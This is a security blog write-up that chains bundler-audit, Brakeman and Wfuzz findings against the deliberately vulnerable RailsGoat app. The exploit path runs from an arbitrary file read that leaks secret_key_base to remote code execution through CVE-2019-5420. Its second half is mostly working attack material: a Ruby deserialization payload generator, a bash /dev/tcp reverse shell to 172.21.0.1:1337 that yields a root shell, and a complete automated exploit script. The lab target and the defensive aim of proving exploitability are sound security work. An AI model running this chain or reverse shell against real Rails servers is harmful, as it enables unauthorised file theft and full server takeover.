krastanoel

Combining SCA, SAST and DAST to find Exploitation path

Introduction

I’m going to use SCA to detect vulnerabilities in the software packages and then use SAST and DAST to find the exploitation path. The target software is the famous vulnerable Rails project that initially doesn’t cover the vulnerable packages vector. I will also craft an exploit script to automate the exploitation path using Ruby.

Background

I’m in the role that also requires frequent research and updating SAST, DAST and SCA tools that will be included in the CI/CD pipeline. Tools such as Bandit, ZAP and Yarn Audit generate vulnerability alerts that could be used to fail the pipeline jobs. These tools were not perfect, some generate a lot of false positives which require further investigation and become more challenging for me at least, especially in the software composition analysis that’s often neglected by the devs in fear of breaking other dependencies. I wanted to showcase how you can combine these tools and a little bit of code review to prove the vulnerable package exploitability.

Prerequisite

The vulnerable target software is installed with a Docker for convenient usage and the tools being used were Bundler Audit, Brakeman and Wfuzz. How to set up these prerequisites is outside the scope of this document, I might write about it in the future using different technology. For now, I’d assume you already know it.

Software Composition Analysis (SCA)

Bundler Audit

Let’s start by running Bundler Audit against the target repository.

sam:~/railsgoat$ bundler-audit
Name: actionpack
Version: 6.0.0
CVE: CVE-2023-22792
GHSA: GHSA-p84v-45xj-wwqj
Criticality: Unknown
URL: https://github.com/rails/rails/releases/tag/v7.0.4.1
Title: ReDoS based DoS vulnerability in Action Dispatch
Solution: upgrade to '~> 5.2.8, >= 5.2.8.15', '~> 6.1.7, >= 6.1.7.1', '>= 7.0.4.1'

...snip...

The immediate result may look overwhelming at first and there’s no filter options, but it’s grepable by name to find out how many vulnerabilities and the critical level.

sam:~/railsgoat$ bundle-audit | grep Name: | wc -l
64
sam:~/railsgoat$ bundle-audit | grep Criticality: | sort -u
Criticality: Critical
Criticality: High
Criticality: Low
Criticality: Medium
Criticality: Unknown

The total vulnerable packages is 64, that’s quite a lot and going through it all one by one is not efficient. Let’s focus on the most critical.

sam:~/railsgoat$ bundle-audit | grep Criticality:\ Critical | wc -l
6
sam:~/railsgoat$ bundle-audit | grep -B5 -A3 'Criticality: Critical' | grep Name: | sort -u | awk '{print $NF}'
activerecord
activestorage
activesupport
puma
rack
railties
sam:~/railsgoat$ bundle-audit | grep -B5 -A3 'Criticality: Critical'
...snip...

Name: railties
Version: 6.0.0
CVE: CVE-2019-5420
GHSA: GHSA-m42h-mh85-4qgc
Criticality: Critical
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/IsQKvDqZdKw
Title: Possible Remote Code Execution Exploit in Rails Development Mode
Solution: upgrade to '~> 5.2.2, >= 5.2.2.1, >= 6.0.0.beta3'

There’s only 6 critical vulnerabilities to work with and the most interesting is a remote code execution in railties (CVE-2019-5420). A Google search for CVE-2019-5420 exploit leads to this script that will also try to leak the secret key base file required for the exploitation. So, in the real world use case you will need another vulnerability to chained, and that’s demonstrated in the next section.

Static Application Security Testing (SAST)

Brakeman

Now let’s start running the Brakeman against the target repository.

sam:~/railsgoat$ brakeman
Loading scanner...
Processing application...
Processing gems...
Processing configuration...
Parsing files...
Detecting file types...
Processing initializers...
Processing libs...
Processing routes...
Processing templates...
Processing data flow in templates...
Processing models...
Processing controllers...
Processing data flow in controllers...
Running checks in parallel...
...snip...

The immediate results may look overwhelming too, but luckily it has an overview for how many security warnings and a filter option.

== Overview ==

Controllers: 17
Models: 12
Templates: 27
Errors: 0
Security Warnings: 21

...snip...

sam:~/railsgoat$ brakeman --help | grep .-w
...snip...
    -w, --confidence-level LEVEL     Set minimal confidence level (1 - 3)

There’s 21 security warnings and there’s a minimal confidence level option that can be set, let’s increase it to the maximum value 3.

sam:~/railsgoat$ brakeman -w 3
Loading scanner...
...snip...

== Overview ==

Controllers: 17
Models: 12
Templates: 27
Errors: 0
Security Warnings: 13

== Warning Types ==

Cross-Site Scripting: 1
Dangerous Send: 1
File Access: 1

...snip...

Confidence: High
Category: File Access
Check: SendFile
Message: Parameter value used in file name
Code: send_file(params[:type].constantize.new(params[:name]), :disposition => "attachment")
File: app/controllers/benefit_forms_controller.rb
Line: 12

...snip...

The security warnings are now reduced and there’s an interesting File Access vulnerability in the benefit forms controller. The form requires authentication but luckily the project allows users to sign up.

Notice the name parameter in the link while hovering the icon is pointed to the full path of a PDF file that most likely exists inside the system. But could it be set to any other path?

Yes it could! But what else exists in the system? You probably guess where this is going now, right? That’s right, this vulnerability could be used to leak the secret key base file required for exploiting CVE-2019-5420 found in the previous section.

Dynamic Application Security Testing (DAST)

Wfuzz

There’s two requirements to effectively use Wfuzz. First, it needs an authenticated user cookie (_railsgoat_session) that’s easy to obtain through a Browser or a Proxy tool. Second, it needs a wordlist like SecLists/Discovery/Web-Content/ror.txt that’s specific to the target framework.

sam:~$ wfuzz -b '_railsgoat_session=...snip...' \ 
  -w ~/seclists/Discovery/Web-Content/ror.txt \
  --sc 200 'http://railsgoat.svc.cluster.local/download?name=FUZZ&type=File'

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://railsgoat.svc.cluster.local/download?name=FUZZ&type=File
Total requests: 141

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000015:   200        71 L     186 W      1704 Ch     "app/controllers/admin_controller.rb"
000000017:   200        61 L     148 W      1647 Ch     "app/controllers/application_controller.rb"
000000018:   200        3 L      6 W        59 Ch       "app/helpers/application_helper.rb"
000000024:   200        43 L     111 W      1008 Ch     "app/views/layouts/application.html.erb"
000000012:   200        80 L     291 W      2374 Ch     "app/assets/javascripts/application.js"
000000031:   200        5 L      20 W       184 Ch      "config.ru"
000000034:   200        5 L      19 W       200 Ch      "config/boot.rb"
000000032:   200        61 L     322 W      2570 Ch     "config/application.rb"
000000043:   200        38 L     218 W      1647 Ch     "config/environments/test.rb"
000000041:   200        51 L     239 W      1878 Ch     "config/environments/development.rb"
000000042:   200        109 L    573 W      4355 Ch     "config/environments/production.rb"
000000039:   200        6 L      17 W       185 Ch      "config/environment.rb"
000000046:   200        8 L      65 W       434 Ch      "config/initializers/backtrace_silencers.rb"
000000048:   200        6 L      33 W       235 Ch      "config/initializers/mime_types.rb"
000000047:   200        17 L     95 W       677 Ch      "config/initializers/inflections.rb"
000000050:   200        4 L      21 W       193 Ch      "config/initializers/session_store.rb"
000000051:   200        15 L     68 W       528 Ch      "config/initializers/wrap_parameters.rb"
000000049:   200        8 L      66 W       533 Ch      "config/initializers/secret_token.rb"
000000070:   200        311 L    707 W      6954 Ch     "db/seeds.rb"
000000086:   200        942 L    7628 W     75437 Ch    "log/development.log"
000000081:   200        0 L      0 W        0 Ch        "lib/assets/.gitkeep"
000000119:   200        7 L      36 W       325 Ch      "script/rails"
...snip...

Total time: 0
Processed Requests: 141
Filtered Requests: 102
Requests/sec.: 0

There’s 102 files were found in the system by setting the HTTP response code filter option (--sc) to 200. But the most interesting file is config/initializers/secret_token.rb.

sam:~$ curl -b '_railsgoat_session=...snip...' \
  'http://railsgoat.svc.cluster.local/download?name=config/initializers/secret_token.rb&type=File'
...snip...

Railsgoat::Application.config.secret_key_base = "2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4"

Exploitation

Remote Code Execution (CVE-2019-5420)

With the secret key base value obtained, the next step is to try exploiting CVE-2019-5420 by grabbing just a few lines of code from the exploit script to generate a payload. It’s always good to test a simple payload first, like a Ping command.

sam:~$ irb
>> require 'active_support/json'
>> require 'active_support/key_generator'
>> require 'active_support/message_verifier'
>> require 'active_support/deprecation'
>> require 'erb'
>> secret_key_base = '2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4'
>> key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
>> secret = key_generator.generate_key('ActiveStorage')
>> command = 'ping -c 1 172.21.0.1'
>> code = "system('bash','-c','" + command + "')"
>> erb = ERB.allocate
>> erb.instance_variable_set :@src, code
>> erb.instance_variable_set :@filename, "1"
>> erb.instance_variable_set :@lineno, 1
>> dump_target  = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
>> verifier = ActiveSupport::MessageVerifier.new(secret)
>> url = 'http://railsgoat.svc.cluster.local' + '/rails/active_storage/disk/' + verifier.generate(dump_target, purpose: :blob_key) + '/test'
"http://railsgoat.svc.cluster.local/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklpOXplWE4wWlcwb0oySmhjMmduTENjdFl5Y3NKM0JwYm1jZ0xXTWdNU0F4TnpJdU1qRXVNQzR4SnlrR09nWkZSam9PUUdacGJHVnVZVzFsU1NJR01RWTdDVVk2REVCc2FXNWxibTlwQmpvTVFHMWxkR2h2WkRvTGNtVnpkV3gwT2dsQWRtRnlTU0lNUUhKbGMzVnNkQVk3Q1ZRNkVFQmtaWEJ5WldOaGRHOXlTWFU2SDBGamRHbDJaVk4xY0hCdmNuUTZPa1JsY0hKbFkyRjBhVzl1QUFZN0NWUT0iLCJleHAiOm51bGwsInB1ciI6ImJsb2Jfa2V5In19--2ea2c244feb7e1d844244134837b208f19aec71b/test"

Use TCPdump to listen for incoming ICMP packets and then fetch the generated URL using curl.

sam:~$ sudo tcpdump -ni br-a30e37e96859 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on br-a30e37e96859, link-type EN10MB (Ethernet), capture size 262144 bytes
sam:~$ curl -I 'http://railsgoat.svc.cluster.local/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklpOXplWE4wWlcwb0oySmhjMmduTENjdFl5Y3NKM0JwYm1jZ0xXTWdNU0F4TnpJdU1qRXVNQzR4SnlrR09nWkZSam9PUUdacGJHVnVZVzFsU1NJR01RWTdDVVk2REVCc2FXNWxibTlwQmpvTVFHMWxkR2h2WkRvTGNtVnpkV3gwT2dsQWRtRnlTU0lNUUhKbGMzVnNkQVk3Q1ZRNkVFQmtaWEJ5WldOaGRHOXlTWFU2SDBGamRHbDJaVk4xY0hCdmNuUTZPa1JsY0hKbFkyRjBhVzl1QUFZN0NWUT0iLCJleHAiOm51bGwsInB1ciI6ImJsb2Jfa2V5In19--2ea2c244feb7e1d844244134837b208f19aec71b/test'
HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Request-Id: d91cdc3f-6b1f-4d14-b6c4-f195710b0c60
X-Runtime: 0.118956
Content-Length: 90646

The HTTP response code is 500 Internal Server Error but…

sam:~$ sudo tcpdump -ni br-a30e37e96859 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on br-a30e37e96859, link-type EN10MB (Ethernet), capture size 262144 bytes
14:49:25.595630 IP 172.21.0.2 > 172.21.0.1: ICMP echo request, id 6, seq 1, length 64
14:49:25.595685 IP 172.21.0.1 > 172.21.0.2: ICMP echo reply, id 6, seq 1, length 64

There’s one incoming ICMP request that means the payload was successfully run, so a reverse shell payload should’ve worked too.

...snip...
>> command = '/bin/bash -i >& /dev/tcp/172.21.0.1/1337 0>&1'
>> code = "system('bash','-c','" + command + "')"
>> erb = ERB.allocate
>> erb.instance_variable_set :@src, code
>> erb.instance_variable_set :@filename, "1"
>> erb.instance_variable_set :@lineno, 1
>> dump_target  = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
>> verifier = ActiveSupport::MessageVerifier.new(secret)
>> url = 'http://railsgoat.svc.cluster.local' + '/rails/active_storage/disk/' + verifier.generate(dump_target, purpose: :blob_key) + '/test'
"http://railsgoat.svc.cluster.local/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklraHplWE4wWlcwb0oySmhjMmduTENjdFl5Y3NKeTlpYVc0dlltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhOekl1TWpFdU1DNHhMekV6TXpjZ01ENG1NU2NwQmpvR1JVWTZEa0JtYVd4bGJtRnRaVWtpQmpFR093bEdPZ3hBYkdsdVpXNXZhUVk2REVCdFpYUm9iMlE2QzNKbGMzVnNkRG9KUUhaaGNra2lERUJ5WlhOMWJIUUdPd2xVT2hCQVpHVndjbVZqWVhSdmNrbDFPaDlCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiZ0FHT3dsVSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9rZXkifX0=--8a462bbfb43fe8c40d56ab6a9fb7fd95bceb79e9/test"

Use Netcat to listen for the incoming reverse shell and then fetch the new generated URL.

sam:~$ nc -nlvp 1337
listening on [any] 1337 ...
sam:~$ curl -I
'http://railsgoat.svc.cluster.local/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHZPa0JCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiam82UkdWd2NtVmpZWFJsWkVsdWMzUmhibU5sVm1GeWFXRmliR1ZRY205NGVRazZEa0JwYm5OMFlXNWpaVzg2Q0VWU1FnZzZDVUJ6Y21OSklraHplWE4wWlcwb0oySmhjMmduTENjdFl5Y3NKeTlpYVc0dlltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDOHhOekl1TWpFdU1DNHhMekV6TXpjZ01ENG1NU2NwQmpvR1JVWTZEa0JtYVd4bGJtRnRaVWtpQmpFR093bEdPZ3hBYkdsdVpXNXZhUVk2REVCdFpYUm9iMlE2QzNKbGMzVnNkRG9KUUhaaGNra2lERUJ5WlhOMWJIUUdPd2xVT2hCQVpHVndjbVZqWVhSdmNrbDFPaDlCWTNScGRtVlRkWEJ3YjNKME9qcEVaWEJ5WldOaGRHbHZiZ0FHT3dsVSIsImV4cCI6bnVsbCwicHVyIjoiYmxvYl9rZXkifX0=--8a462bbfb43fe8c40d56ab6a9fb7fd95bceb79e9/test'
sam:~$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [172.21.0.1] from (UNKNOWN) [172.21.0.2] 35454
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@bee854d6dc29:/myapp# id
uid=0(root) gid=0(root) groups=0(root)

Crafting an Exploit Script

The very first step is automating the signup process, I use Burp Suite to inspect and highlight the important points in the HTTP request.

There are five important points to noted:

  1. POST HTTP request method to /users endpoint
  2. user[…] nested parameters
  3. 302 HTTP response code
  4. Location HTTP response header to /dashboard/home
  5. Set-Cookie HTTP response header


Usually a Cookie and authenticity_token are also needed for the request, but this Webapp doesn’t seem to care and that also has its own vulnerability class. Therefore, the process will simply have three steps.

  1. Make a POST request to /users endpoint with user[...] nested parameters
  2. Check if the HTTP response code is 302 and the HTTP location header include /dashboard/home
  3. Save the HTTP response cookies if step 2 evaluated correctly
require 'http'
require 'rack/utils'

url = 'http://railsgoat.svc.cluster.local'

# user nested parameters
user_params = {
  user: {
    email: "samsam@example.local",
    first_name: "samsam",
    last_name: "samsam",
    password: "password",
    password_confirmation: "password"
  }
}
signup = HTTP.post("#{url}/users", :body => Rack::Utils.build_nested_query(user_params))
if signup.code == 302 && signup.headers['location'].include?('/dashboard/home')
  cookies = signup.cookies
  puts "Signup succeed. Cookies: #{cookies.inspect}"
else
  abort "Signup failed"
end
sam:~/scripts$ ruby exploit.rb
Signup succeed. Cookies: #<HTTP::CookieJar:0x000055c81710ad80 @store=#<HTTP::CookieJar::HashStore:...snip...
sam:~/scripts$ ruby exploit.rb
Signup failed

The script runs successfully and saves the cookie at the first attempt, but then fails at the second attempt, which is expected because the email address should’ve already registered. So just use a random alphabet on the email name to get around this.

...snip...
require 'securerandom'

...snip...
name = SecureRandom.alphanumeric(8)

user_params = {
  user: {
    email: "#{name}@example.local",
    first_name: "#{name}",
    last_name: "#{name}",
    ...snip...
  }
}
...snip...
sam:~/scripts$ ruby exploit.rb
Signup succeed. Cookies: #<HTTP::CookieJar:0x000055690b182620 @store=#<HTTP::CookieJar::HashStore:...snip...
sam:~/scripts$ ruby exploit.rb
Signup succeed. Cookies: #<HTTP::CookieJar:0x000055949b6724a8 @store=#<HTTP::CookieJar::HashStore:...snip...

Furthermore, the cookie saved from the signup process will be used to make authenticated requests to the benefit controller and leak the secret_token.rb file.

...snip...
# get secret_token
params = {name: 'config/initializers/secret_token.rb', type: 'File'}
get_secret = HTTP.cookies(cookies).get("#{url}/download", params: params)
puts get_secret.to_s
sam:~/scripts$ ruby exploit.rb
Signup succeed. Cookies: #<HTTP::CookieJar:0x000055d7b42b7398 @store=#<HTTP::CookieJar::HashStore:...snip...
# frozen_string_literal: true
# Be sure to restart your server when you modify this file.

# Your secret key for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
Railsgoat::Application.config.secret_key_base = "2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4"

The cookie is valid (authenticated) as expected, however the file must be parsed to extract only the secret_key_base part.

...snip...
# parse secret_key_base
get_secret.to_s.match(/secret_key_base = "([^"]+)"/)
secret_key_base = $1
puts "secret_key_base: #{secret_key_base}"
sam:~/scripts$ ruby exploit.rb
Signup succeed. Cookies: #<HTTP::CookieJar:0x0000555e8afd18d8 @store=#<HTTP::CookieJar::HashStore:...snip...
secret_key_base: 2f1d90a26236c3245d96f5606c201a780dc9ca687e5ed82b45e211bb5dc84c1870f61ca9e002dad5dd8a149c9792d8f07f31a9575065cca064bd6af44f8750e4

Now simply copy the code in the Exploitation step earlier to generate a simple Ping command payload.

require 'erb'
...snip...
require 'active_support/json'
require 'active_support/key_generator'
require 'active_support/message_verifier'
require 'active_support/deprecation'

...snip...

# generate payload
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key('ActiveStorage')
command = 'ping -c 1 172.21.0.1'
code = "system('bash','-c','" + command + "')"
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, '1'
erb.instance_variable_set :@lineno, 1
dump_target  = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
verifier = ActiveSupport::MessageVerifier.new(secret)
callback_url = "#{url}/rails/active_storage/disk/#{verifier.generate(dump_target, purpose: :blob_key)}/test"

# command trigger
puts 'Triggering command'
HTTP.get(callback_url)

Run the exploit script while watching the TCPdump again.

sam:~/scripts$ ruby exploit.rb
Signup succeed. Cookies: #<HTTP::CookieJar:0x000055d99f5a8e48 @store=#<HTTP::CookieJar::HashStore:...snip...
Triggering command
sam:~$ sudo tcpdump -ni br-a30e37e96859 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on br-a30e37e96859, link-type EN10MB (Ethernet), capture size 262144 bytes
16:41:50.876214 IP 172.21.0.2 > 172.21.0.1: ICMP echo request, id 2, seq 1, length 64
16:41:50.876274 IP 172.21.0.1 > 172.21.0.2: ICMP echo reply, id 2, seq 1, length 64

One ICMP request was captured as expected. Everything looks good so far. However, just executing a Ping command is not too interesting and modifying the command variable repeatedly for different commands is not efficient. So using arguments here should be a good idea.

...snip...
require 'active_support/core_ext/string'

command = ARGV[0]
usage = "Usage: #{$0} [command]
Example: #{$0} whoami"
abort usage if command.blank?

...snip...

Getting the command output is similar with just a silly hack for the TCP reverse shell part and leverages the same vulnerability type.

...snip...
# check if the command is a reverse shell
unless command.include?('/bin/bash -i') && command.include?('/dev/tcp') # silly hack just for 'tcp' reverse shell
  command = "#{command} > /tmp/#{name}"
  reflected = true
end
...snip...

# get command output
params = {name: "/tmp/#{name}", type: 'File'}
command_output = HTTP.cookies(cookies).get("#{url}/download", params: params)
puts command_output if reflected
sam:~/scripts$ ruby exploit.rb
Usage: exploit.rb [command]
Example: exploit.rb whoami
sam:~/scripts$ ruby exploit.rb whoami
Signup succeed. Cookies: #<HTTP::CookieJar:0x00005618c6c607e8 @store=#<HTTP::CookieJar::HashStore:...snip...
Triggering command
root

Finally, because the command output is written to /tmp directory, there’s only one thing left to add, a cleanup!

...snip...
# cleanup
command = "rm -f /tmp/#{name}"
code = "system('bash','-c','" + command + "')"
erb.instance_variable_set :@src, code
dump_target  = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
callback_url = "#{url}/rails/active_storage/disk/#{verifier.generate(dump_target, purpose: :blob_key)}/test"
HTTP.get(callback_url)
sam:~/scripts$ ruby exploit.rb 'ls -l /tmp'
total 0

The TCP reverse shell should’ve worked too!

sam:~/scripts$ ruby exploit.rb '/bin/bash -i >& /dev/tcp/172.21.0.1/1337 0>&1'
sam:~$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [172.21.0.1] from (UNKNOWN) [172.21.0.2] 51000
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@951036d5d57e:/myapp# id
id
uid=0(root) gid=0(root) groups=0(root)

Grab the completed exploit script here.

Conclusion

Implementing Shift-Left security testing by integrating SAST, DAST and SCA tools in the CI/CD pipeline is good. However, it still depends on the culture where you work (engineering / development) team, or if you’re lucky enough to shape it. If you’re not, these vulnerability alerts would most likely get ignored or even worse disabled. So, take this approach to prove at least one exploitability of such vulnerabilities, document and report it. This approach may take time and effort, but certainly worth it in the long run.

References

Shift-Left, SCA, SAST, DAST, Ruby, Ruby on Rails Framework, RailsGoat, CI/CD, Bandit, ZAP, Yarn Audit, Code Review, Docker, Bundler Audit, Brakeman, Wfuzz, CVE-2019-5420, CVE-2019-5420 PoC, SecLists/Discovery/Web-Content/ror.txt, TCPdump, cURL, Netcat, Burp Suite, CSRF Vulnerability, Arbitrary File Read to RCE